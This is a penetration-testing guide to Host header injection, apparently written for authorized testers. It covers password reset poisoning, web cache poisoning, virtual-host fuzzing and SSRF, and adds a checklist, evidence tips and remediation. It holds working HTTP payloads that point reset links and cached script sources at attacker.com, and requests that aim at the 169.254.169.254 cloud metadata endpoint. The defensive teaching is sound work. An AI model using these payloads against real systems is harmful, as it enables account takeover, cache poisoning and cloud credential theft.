Host Header Injection
Host header injection exploits web applications that trust the HTTP Host header for generating URLs, routing requests, or making security decisions. This can lead to password reset poisoning, web cache poisoning, SSRF, and access to internal virtual hosts.
Warning
Frameworks: WSTG-INPV-17 · ASVS 5.0 V4.1.3, V14.2.1 · CWE-644 · T1190
What "the App Trusts Host" Actually Means
HTTP/1.1 requires a Host header, and the server must do something with it. Four consumers matter: absolute-URL generation (links, reset emails, redirects), virtual-host routing (which site configuration handles the request), cache keys at the CDN, and occasionally access decisions. The vulnerability is any one of those consuming the header without checking it against the names the application is actually served as.
The value can arrive in more ways than the header itself: X-Forwarded-Host,
X-Host, Forwarded: host=, X-Original-URL, and the absolute-form
request line. Proxies often append to X-Forwarded-Host rather than replacing it, so test
both orders — attacker.com, target.com and target.com, attacker.com —
because applications disagree about which entry they read.
Tools & Resources
curl
Built-in on most OS
Password Reset Poisoning
The most impactful host header attack. If the application uses the Host header to generate password reset links, an attacker can redirect the reset link to their server:
Register your own address as the victim, request a reset with Host set to a Collaborator
domain, and read the email. A true positive is a link whose host is yours and whose token works when
you follow it; a link that still points at target.com means URLs are generated from configuration,
which is the correct behaviour. Never request a reset for an address you do not control, and never
follow a token belonging to a real user.
# Normal password reset request:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://target.com/reset?token=abc123
# and emails it to the victim.
# Attack: Inject attacker's domain in Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://attacker.com/reset?token=abc123
# Victim clicks the link → token sent to attacker's server
# Alternative headers to try if Host is blocked:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Or:
Host: target.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Original-URL: https://attacker.com/reset
Forwarded: host=attacker.comTip
Web Cache Poisoning via Host Header
Cache poisoning needs two things: a response that reflects the Host into something executable or
navigable, and a cache that stores it under a key which omits the Host. Send the request once, then
fetch the same path with a clean Host and no cookies. If the poisoned body comes back, the cache is the
finding — Age and X-Cache prove it was stored rather than merely reflected.
# If the response is cached and includes Host-derived URLs:
GET / HTTP/1.1
Host: attacker.com
# If the CDN caches the response, all users see:
# <script src="https://attacker.com/js/app.js"></script>
# Test with X-Forwarded-Host:
GET /static/page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Check response for cache headers:
# X-Cache: MISS → first request (poisoning it)
# X-Cache: HIT → subsequent requests (serving poisoned content)
# Also check:
# - Link tags, script src, meta refresh URLs
# - Open Graph / social media preview URLs
# - Canonical URL tags
# - Redirect Location headersVirtual Host Enumeration
Fuzzing the Host header finds virtual hosts the DNS does not advertise. Match on response size and title rather than status, because most deployments return 200 from a default vhost for every name. A different application or an admin console is the signal.
# Discover internal virtual hosts by fuzzing the Host header:
# Using ffuf:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-fs 0 # Filter empty responses
# Using curl to test specific hosts:
curl -k -H "Host: admin.target.com" https://TARGET_IP/
curl -k -H "Host: internal.target.com" https://TARGET_IP/
curl -k -H "Host: staging.target.com" https://TARGET_IP/
curl -k -H "Host: dev.target.com" https://TARGET_IP/
curl -k -H "Host: localhost" https://TARGET_IP/
# Try accessing admin panels via Host header:
curl -H "Host: admin" http://TARGET_IP/
curl -H "Host: 127.0.0.1" http://TARGET_IP/adminSSRF via Host Header
Routing-based SSRF depends on a proxy that selects an upstream from the Host. Send an absolute-form
request line or a Host of 169.254.169.254 and look for metadata content, not a timeout. A
generic 502 means the proxy rejected the target, which is the control working as intended rather than a
partial finding.
# Some reverse proxies/load balancers route based on Host header:
GET / HTTP/1.1
Host: 169.254.169.254 # AWS metadata
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
# Absolute URL bypass:
GET https://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com
# Connection-state attacks:
# Send first request with valid Host, second with attacker Host
# on the same connection (HTTP/1.1 keep-alive)
GET / HTTP/1.1
Host: target.com
GET /admin HTTP/1.1
Host: 127.0.0.1Confirming Without Collateral
Use your own account, your own callback host, and a cache-busting query parameter unless you are deliberately testing the cache. Reset poisoning against a real user's address is indistinguishable from an attack on that user, and a poisoned cache entry can outlive your test by hours. Confirm, then flush: most CDNs expose a purge API, so record the exact URL for the operations team.
Testing Checklist
- ☐ 1. Send requests with modified Host header — does the response reflect it?
- ☐ 2. Test password reset with attacker Host — does the email link change?
- ☐ 3. Try X-Forwarded-Host, X-Host, Forwarded headers as alternatives
- ☐ 4. Check for cached responses that include Host-derived URLs
- ☐ 5. Fuzz for internal virtual hosts (admin, staging, dev, internal)
- ☐ 6. Test SSRF via Host header to cloud metadata endpoints
- ☐ 7. Test with duplicate Host headers
- ☐ 8. Test with port in Host header (target.com:attacker.com)
Evidence Collection
Request/Response: Burp capture showing injected Host and reflected URL
Email Screenshot: Password reset email with attacker-controlled URL
Collaborator Log: Burp Collaborator/webhook showing token received
Route Comparison: The default vhost response and the candidate vhost response side by side (title, size), proving a distinct application rather than a 200 from the catch-all
Cache Key Proof: Age/X-Cache headers plus a clean-Host request returning the poisoned body — the stored response, not just reflection
CVSS Range: Password reset poisoning: 7.5–9.1 | Cache poisoning: 6.1–8.6
Remediation
- • Allowlist Host values: Configure the application to only accept known Host header values.
- • Use server-side URL configuration: Generate URLs from configuration, not from request headers.
- • Ignore X-Forwarded-Host: Unless behind a trusted reverse proxy, ignore forwarded host headers.
- • Cache key on Host: Ensure caching layers include the full Host header in cache keys.
- • Reject unknown Hosts at the edge: Maintain an allowlist of names the application is served as and return
400for anything else. A request with a Host the site does not answer should never reach the application. - • Generate URLs from configuration: Use relative links, or build absolute URLs from a configured base URL rather than the request. This removes the reset-poisoning class entirely.
- • Strip inbound forwarding headers: Your proxy should overwrite
X-Forwarded-Host, not append to it, and should discard client-supplied copies before forwarding.
False Positive Identification
- Reflection without impact: The Host header appearing in HTML comments or non-clickable locations may not be exploitable — confirm the reflected value is in href/src attributes or redirect targets.
- Load balancer behavior: Some load balancers normalize Host headers before forwarding — test from outside the LB to confirm the vulnerability is externally reachable.
- X-Forwarded-Host by design: Reverse proxies legitimately set X-Forwarded-Host — only report if the application uses it unsafely for URL construction.
- Display name reflects Host: A page that prints the Host as a greeting or in an email salutation is not poisoning. Follow the URL that is generated, not the text that quotes the header.
- Proxy rewrites Host: A CDN or ingress controller may normalise or overwrite the header before the origin sees it. Test from the public edge as well as from any internal position you were given, and report which one was used.
Host Header Attack Practice
Exploit Host header trust on labs covering reset poisoning and routing abuse.